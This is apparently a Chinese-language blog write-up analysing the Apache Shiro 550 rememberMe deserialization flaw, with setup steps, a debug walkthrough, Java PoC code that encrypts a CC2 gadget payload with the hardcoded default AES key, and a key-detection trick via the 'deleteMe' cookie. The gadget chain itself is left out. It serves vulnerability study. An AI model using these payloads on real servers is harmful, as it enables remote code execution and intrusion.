Shiro 550 漏洞分析
前言
最近面试老是被问到shiro 550的洞,这个洞之前hvv中担任了很重要的角色,之前也只是使用工具做过攻击,也大概看过原理,却没有自己去分析过,所以赶紧学一下。
Shiro介绍
官方介绍:Shiro是Apache开源的一个功能强大且易于使用的Java安全框架,它执行身份验证、授权、加密和会话管理。
Shiro 架构中主要有三个核心的概念:Subject、 SecurityManager,、Realms
Subject:代表当前的用户
SecurityManager:管理者所有的 Subject
,在官方文档中描述其为 Shiro
架构的核心
Realms:SecurityManager
的认证和授权需要使用Realm
,Realm
负责获取用户的权限和角色等信息,再返回给SecurityManager
来进行判断,在配置 Shiro
的时候,我们必须指定至少一个Realm
来实现认证(authentication
)和授权(authorization
)
Shiro 550漏洞原理
在 Shiro <= 1.2.4 中,AES 加密算法的key是硬编码在源码中,当我们勾选remember me
的时候 shiro
会将我们的 cookie
信息序列化并且加密存储在 Cookie 的 rememberMe
字段中,这样在下次请求时会读取 Cookie 中的 rememberMe
字段并且进行解密然后反序列化。
由于 AES 加密是对称式加密(Key 既能加密数据也能解密数据),所以当我们知道了我们的 AES key
之后我们能够伪造任意的 rememberMe
从而触发反序列化漏洞。
Shiro
到目前为止虽然已经更新了很多版本,但是并没有对反序列化漏洞进行解决,而是通过去掉硬编码的密钥Key从而采用动态密钥来解决这一漏洞,所以只要我们可以加密序列化数据即可达到攻击的效果。
环境搭建
下载shiro 1.2.4
源码
# 拉取shiro框架源码
git clone https://github.com/apache/shiro.git
# 切换到shiro-root-1.2.4版本
git checkout shiro-root-1.2.4
使用IDEA
打开shiro/samples/web/pom.xml
项目
直接通过maven
进行打包这里会报错,如下:
报错这里显示maven-toolchains-plugin
需要通过jdk1.6来进行编译
需要在配置文件目录中添加toolchains.xml
文件(不影响在其他版本下运行项目),内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>C:\Program Files\Java\jdk1.6.0_45</jdkHome>
</configuration>
</toolchain>
</toolchains>
将pom.xml
中的jstl
依赖添加版本为1.2(这里我注释掉了好像也可以)
添加commons-collections4.0
依赖,虽然shiro1.2.4
中原本有commons-collections3.2.1
的依赖,但是因为这里用到的jdk1.8无法利用cc1进行攻击,所以使用cc2进行攻击
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
然后添加idea运行配置
在部署中添加工件
运行结果:
Debug分析
加密
登录入口:DefaultSecurityManager#login
,270行打上断点进行Debug:
输出正确的username
和password
并勾选remember me
登录
代码270行处authenticate
方法对token(如下图,token包含用户信息)进行身份验证,验证失败会抛出AuthenticationException
异常并执行onFailedLogin
方法
身份验证成功则会创建Subject
对象并进入到onSuccessfulLogin
方法
onSuccessfulLogin
方法如下,进入到rememberMeSuccessfulLogin
方法
这里通过getRememberMeManager
方法获取cookie信息,然后调用AbstractRememberMeManager#onSuccessfulLogin
293行forgetIdentity
方法忘记之前的身份信息,然后判断是否勾选remember me
,进入rememberIdentity
方法
通过getIdentityToRemember
获取PrincipalCollection
对象(该类是一个Realm
身份集合)后进到rememberIdentity
方法
346行对用户信息进行编码处理,之后347行进行序列化操作,这里先看一下convertPrincipalsToBytes
方法
360行进行序列化,之后通过getCipherService
方法判断是否存在加密服务,之后进行加密,查看encrypt
方法
加密操作在473行,传入了需要加密的序列化字符串和getEncryptionCipherKey
方法获取的密钥
这里的密钥是从DEFAULT_CIPHER_KEY_BYTES
常量中获取到的
加密后返回,回到rememberIdentity
方法,进入rememberSerializedIdentity
方法
对AES加密的序列化字符串再进行base64编码并设置到cookie中返回
解密
解密分析入口:DefaultSecurityManager#getRememberedIdentity
604行打上断点,发送如下请求进行Debug分析:
601行getRememberMeManager
方法获取一些配置
604进到AbstractRememberMeManager#getRememberedPrincipals
方法
393行getRememberedSerializedIdentity
方法从请求中获取Cookie并进行base64解码
之后进到convertBytesToPrincipals
方法
很明显这里先decrypt
进行解密后通过deserialize
反序列化
先看一下decrypt
过程,和加密过程一样,通过密钥进行AES解密
然后进到deserialize
方法反序列化
进到DefaultSerializer#deserialize
进行反序列化
编写Poc
反序列化利用链就用之前的cc2,这里我们要做的是将序列化字符串进行AES加密
在pom.xml中加入如下内容,用于使用shiro的AES加密类
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
编写加密:
public class Poc {
public static void main(String[] args) throws Exception {
// getcc2Poc方法返回cc2序列化内容
byte[] data = getcc2Poc();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aesCipherService = new AesCipherService();
ByteSource encrypt = aesCipherService.encrypt(data, key);
System.out.println(encrypt.toString());
}
}
Poc中没有写cc2的利用链,利用时请自行补齐,将输出内容添加到rememverMe
发送请求,攻击成功截图:
解决疑惑
这里本来不想使用shiro框架去实现AES加密的,结果没有复现成果
疑惑:shiro框架中使用的是CBC加密模式,其中有一个IV值,所以当只知道key的情况下应该不可以正常解密的呀!
解决:Debug深入看一下解密流程,如下图,在解密过程中提取前16字节作为IV值,其余的才是需要解密的内容
通过这个方法,我们再来编写一下CBC加密:
package com.ggbond.Shiro;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
public class PocTest {
public static void main(String[] args) throws Exception {
// 获取cc2利用链poc
byte[] poc = new Poc().getcc2Poc();
// IV值
byte[] ivBytes = "1234567890123456".getBytes();
// 合并IV和Poc
byte[] data = byteMerger("1234567890123456".getBytes(), poc);
// key值
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
// 进行CBC加密
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
IvParameterSpec iv = new IvParameterSpec(ivBytes);
cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);
byte[] encrypted = cipher.doFinal(data);
String s = Base64.getEncoder().encodeToString(encrypted);
System.out.println(s);
}
public static byte[] byteMerger(byte[] bt1, byte[] bt2){
byte[] result = new byte[bt1.length+bt2.length];
System.arraycopy(bt1, 0, result, 0, bt1.length);
System.arraycopy(bt2, 0, result, bt1.length, bt2.length);
return result;
}
}
攻击成功截图:
判断密钥是正确
发送正确密钥加密数据:
发送错误密钥加密数据:
发现二者差异就在于在响应头中存在rememberMe=deleteMe
字段,当密钥错误时返回该字段
代码分析如下:AbstractRememberMeManager#getRememberedPrincipals
convertBytesToPrincipals
解密失败会触发异常RuntimeException
,从而进到onRememberedPrincipalFailure
执行forgetIdentity
方法
如上图,会在Cookie中设置deleteMe
值